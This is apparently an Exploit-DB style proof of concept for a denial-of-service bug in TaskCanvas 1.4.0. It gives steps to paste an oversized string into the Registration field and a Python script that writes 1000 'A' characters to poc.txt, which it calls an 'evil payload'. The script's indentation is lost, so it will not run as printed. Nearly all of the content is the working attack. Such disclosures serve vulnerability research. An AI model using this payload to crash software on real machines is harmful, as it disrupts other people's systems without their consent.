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# Exploit Title: TaskCanvas 1.4.0 - 'Registration' Denial Of Service  
# Exploit Author : Ismail Tasdelen  
# Exploit Date: 2020-01-06  
# Vendor Homepage : https://www.digitalvolcano.co.uk/  
# Link Software : https://www.digitalvolcano.co.uk/taskcanvasdownload.html  
# Tested on OS: Windows 10  
# CVE : N/A  
  
'''  
Proof of Concept (PoC):  
=======================  
  
1.Download and install TaskCanvas  
2.Run the python operating script that will create a file (poc.txt)  
3.Run the software "Registration -> Enter Registration Code  
4.Copy and paste the characters in the file (poc.txt)  
5.Paste the characters in the field 'Registration' and click on 'Ok'  
6.TaskCanvas Crashed  
'''  
  
#!/usr/bin/python  
  
buffer = "A" * 1000  
  
payload = buffer  
try:  
f=open("poc.txt","w")  
print("[+] Creating %s bytes evil payload." %len(payload))  
f.write(payload)  
f.close()  
print("[+] File created!")  
except:  
print("File cannot be created.")